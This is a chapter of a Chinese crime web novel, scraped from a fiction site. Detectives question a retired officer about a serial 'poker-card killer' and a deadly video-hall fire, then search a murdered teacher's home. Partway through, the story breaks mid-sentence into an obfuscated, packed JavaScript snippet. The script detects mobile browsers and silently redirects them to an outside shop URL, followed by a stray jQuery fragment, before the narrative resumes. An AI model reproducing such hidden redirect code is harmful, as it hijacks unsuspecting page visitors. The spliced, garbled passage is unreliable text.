文趣网 > 其他小说 > 穿书当警察,但没金手指[刑侦] > 51. 天使录像厅
    虞晴点头,“明白,您是想说,在他看来,杀人跟买菜一样简单,杀完可以立马投入日常生活,半点影响也没有。

    说不定日后想都不会想这件事,凶手大脑有很强的防御机制,能将凶杀和日常生活完美地区分开,冷血得可怕。”

    人的大脑都有防御机制,平常人遭遇重大伤害可能会产生PTSD,也可能将某一段记忆封存,好保护自己。

    可扑克牌杀手的大脑却能将杀人有关的回忆有意识封存,该怎么生活还怎么生活,完全不受影响。

    “对!”张勋猛点头,“除了受害人都曾经是唱戏的外,没有任何共同点。

    那年,我们提审了几乎全城的适龄男性,小偷小摸、□□放火都审出来不少,可愣是没抓到他。他就跟消失了一样,大家都说撞鬼了。”

    虞晴笑笑,继续问,“张队,除了这个之外,这十年间,您还有没有觉得哪里奇怪?不在案发现场的也行,任何一点都可以。”

    张勋又点燃一根烟,皱眉思考半晌,开口道,“要说奇怪的事儿,有一件,不过不是那十年的事儿,而是千禧年那场大火,天使录像厅大火,知道吧?”

    众人点点头,天使录像厅大火烧死了七十多人,烧伤两人,曾经作为反面典型上过国家电视台,是开州市另一重大刑事案件。

    97年后,随着香江回归,港台的流行时尚文化逐步被年轻人追捧,越来越多的人喜欢上了看港台的电影电视剧。

    当时还流行看DVD碟片,因为影碟机太贵,不是每个家庭都能负担得起的,便催生出了录像厅这一特定时期的娱乐产物。

    现在的酒吧一条街知春路,当年就是大名鼎鼎的录像厅一条街,算是一脉相承的“寻欢作乐”街。

    当年街上大大小小的录像厅不下二十家,与现在酒吧街一到晚上就鬼哭狼嚎不同,当年录像厅一条街,一到晚上就静悄悄的,究其原因还要从录像厅的经营模式说起。

    录像厅之所以叫录像厅,肯定是要放录像给客人看的,本质上就是个小型的电影院。

    差别在于电影院播放的是正版影片,而录像厅放的基本都是盗版。

    自来商人重利,为了利益最大化,录像厅播放的影片越来越杂,后来发展到午夜后开始播放带颜色的影片。

    公然放映□□录像自然犯法,为了避免突击检查,不少老板想到一个办法,那就是晚上十点以后,等客人来得差不多了,把大门从外面锁上,造成关门的假象。

    很快,二十多家录像厅都采用了这种经营模式,其中最大的一家叫天使录像厅,占地面积达六百平方米。

    除了大堂外,录像厅南北两侧被分割成很多小包间,私密性极强,想看什么就看什么。

    天使录像厅片源多,每晚小包间几乎都能预订完,可以说是供不应求。

    千禧年冬天,天使录像厅照常营业,近百男男女女来这里观看影片,期待有一个美好的夜晚。

    谁知却先被死神眷顾。

    当晚用于取暖的电暖器长时间开启,先是点燃了布艺沙发,接着造成火灾。

    因为大门被锁,录像厅内众人没办法逃生,大火中的录像厅被炙烤,成了炙热的铁盒,埋葬了看录像的七十多名年轻人的生命。

    经过半月时间的涤荡,就在众人以为生活进入平静,终于能好好生活时,扑克牌杀手出现,那些没死在火灾中的人,又死在了魔鬼的屠刀之下。

    见众人都点头,张勋叹气,“扑克牌杀手出现后,大家都说他是在大火里丧失了亲人,想报复开州,报复社会。

    录像厅大火发生后半个月,扑克牌杀手就出现了,大家觉得有什么关联也正常。”

    说着他眯起眼,“可这猜测没有依据,当时专案组也听过这个谣言,调查过那起大火,没发现两者之间有联系。”

    这个众人在卷宗里看过,虞晴试探着问,“张队,还有一个问题,你是第一个接触扑克牌杀手案的。

    在你心里,扑克牌杀手有没有可能改变一些习惯,例如突然不在扑克牌上涂血梅花了,改成其他图案......”

    “不可能!”张勋非常肯定,“他杀了8个人,每一个案发现场都放置有扑克牌,扑克牌上涂着血梅花,可见那样的受害者以及现场布置手法,对他是有特殊意义的,就像......”

    他沉吟片刻,忽地抬起头道,“就像毒品,一个已经成瘾的人,怎么可能戒掉毒品?

    现场扑克牌的细节以及受害者对他来说,就是毒品。”

    虞晴将张勋的话记下,重点询问当初办案时启用过哪些线人。

    张勋叹口气,“那是十二年前,就算是专案组,条件也跟现在没法比。

    大家真的尽力了,许法医没日没夜地做尸检,还到京城请来了法医届的泰山北斗乔逸民,老许父亲去世都没回去奔丧,可......

    有些凶手就是能逃过法眼。

    到最后,大家被逼无奈,各自启用自己的线人,我这里也用过。

    你这么问,是怀疑这次的凶手案,是那些线人做的?”

    虞晴没回答,不过张勋也不需要她回答,叹口气,继续一口接一口地抽烟。

    作为老刑警,将虞晴的话上下一联系,张勋自然猜到虞晴的想法,扑克牌杀手案的细节暴露了,但没暴露的那么彻底,为什么?

    要不是他是知道内情的人,也会怀疑当年的线人。

    知道张队猜到了,虞晴干脆直接问,“张队,启用大量线人的话,是不是可以认为,扑克牌杀手的很多犯案细节都泄露了?”

    张勋摇摇头,“刀伤可能外泄,毕竟我们想找到拥有那把刀的人。

    千禧年印尼爪刀在内陆很少见,这是条重要线索,线人是知道的。

    不过领导说了,有关扑克牌的信息是绝密,就算用线人,也不能透露......”

    众人眼睛一亮,这倒是和目前的案子对上了。

    刀口和刀完全一致,扑克牌信息也能对上,但没有血梅花。

    凶手知道的都是当年专案组外泄的信息,是不是说明,本案的凶手跟当年的线人有关?

    就在虞晴三人拜访张勋时,樊朔在公证人员的陪同下,来到了受害人郑香雪的家。

    郑香雪的丈夫名叫孙松,是市长途汽车站的司机,如今已经出车去了省城,下午五点才能回来。

    知道这一情况

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709813|205862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后,樊朔联系了孙松,承诺会在公证人员的监督下搜索他们家,这才征得对方的同意,来到受害者郑香雪生前居住的房间。

    在三线小城市,客运公司的待遇比高中好,郑香雪放弃了高中的分房名额,和孙松住在客运公司分的大房子里。

    116平,三室两厅,屋内装修完备,黄木地板、顶天立地的大立柜,连墙壁都围了褐色的墙裙。

    郑香雪和孙松分房睡,郑香雪的房间布置得十分温馨,20平左右,是全屋最大的卧室。

    进屋左侧是床铺,右侧是衣柜以及梳妆台,其上放置着不少瓶瓶罐罐,俱是国外大牌子洗护用品。

    桌面最角落放置着巴掌大的录音机,樊朔摁下开关,咿咿呀呀的唱腔流泻而出。

    “头戴金冠压双鬓,当年的铁甲我又披上了身......”樊朔跟着录音机哼唱两句。

    一旁徒弟小武拍马屁的功夫不比孟阳差,忙恭维道,“师父,您还会这个呢,厉害!”

    “开州人都会。”摁下开关,唱腔戛然而止,樊朔面上波澜不惊,心内却沉了下去。

    录音机里不是流行歌曲,而是戏剧,郑香雪难道也与戏剧有关?

    将疑惑压下,樊朔转身打开梳妆台的抽屉。

    郑香雪并不是个细致的人,抽屉内什么东西都有,面膜贴、磁带、口红,放置得十分凌乱。

    翻找片刻,樊朔掏出一个巴掌大的笔记本,打开,内页俱是各类人名、年龄、父母职业等。

    他晃晃手里的本子,吩咐小武,“联系孙松,问问郑香雪是不是在开补习班。”

    “好。”

    打开梳妆台的另一侧抽屉,找出一沓相册。相册里保留了郑香雪十九岁到三十九岁的二十年时光,最后几页里,有不少郑香雪和学生的合影,樊朔皱眉看着其中几张。

    照片里,十七八岁的男生咧开嘴,笑得一脸幸福,一旁的郑香雪披散着长发,挽着男生的胳膊,下巴微微收起,眼睛从下往上望向镜头,笑容甜蜜又勾人。

    樊朔皱眉,这姿势和笑容,是不是......太亲密了?

    又往下翻,发现两三个类似的男生。

    樊朔取出照片,不少人有在照片后面写人名和拍摄时间的习惯......

    果然,空白处有男生的名字,其中一个人名引起樊朔的注意,夏清河,他又赶紧去翻笔记本,果然找到夏清河的记录。

    父亲一栏,赫然写着夏志国!

    夏志国是左岸酒吧的老板,还是曾经扑克牌杀手案的线人,儿子和郑香雪举止亲密。

    转眼间,郑香雪就死在左岸酒吧的后巷里,还是以扑克牌杀手的割喉方式死去。

    加上离奇请假的清洁工,巧合太多,看来得请夏志国来市局喝茶了。

    小武挂上电话,蹬蹬镫跑过来,“师父,孙松说了郑香雪确实在开音乐培训班。

    如今各高中都有特长班,大学也有艺术院校,郑香雪在高中干得久了,不少学生跟她补习。”

    樊朔点点头,转身继续翻看笔记本。

    其上的学生以女生居多,间或夹杂着一两个男生,看来夏志国说的郑香雪教他儿子音乐,就是说的这个了。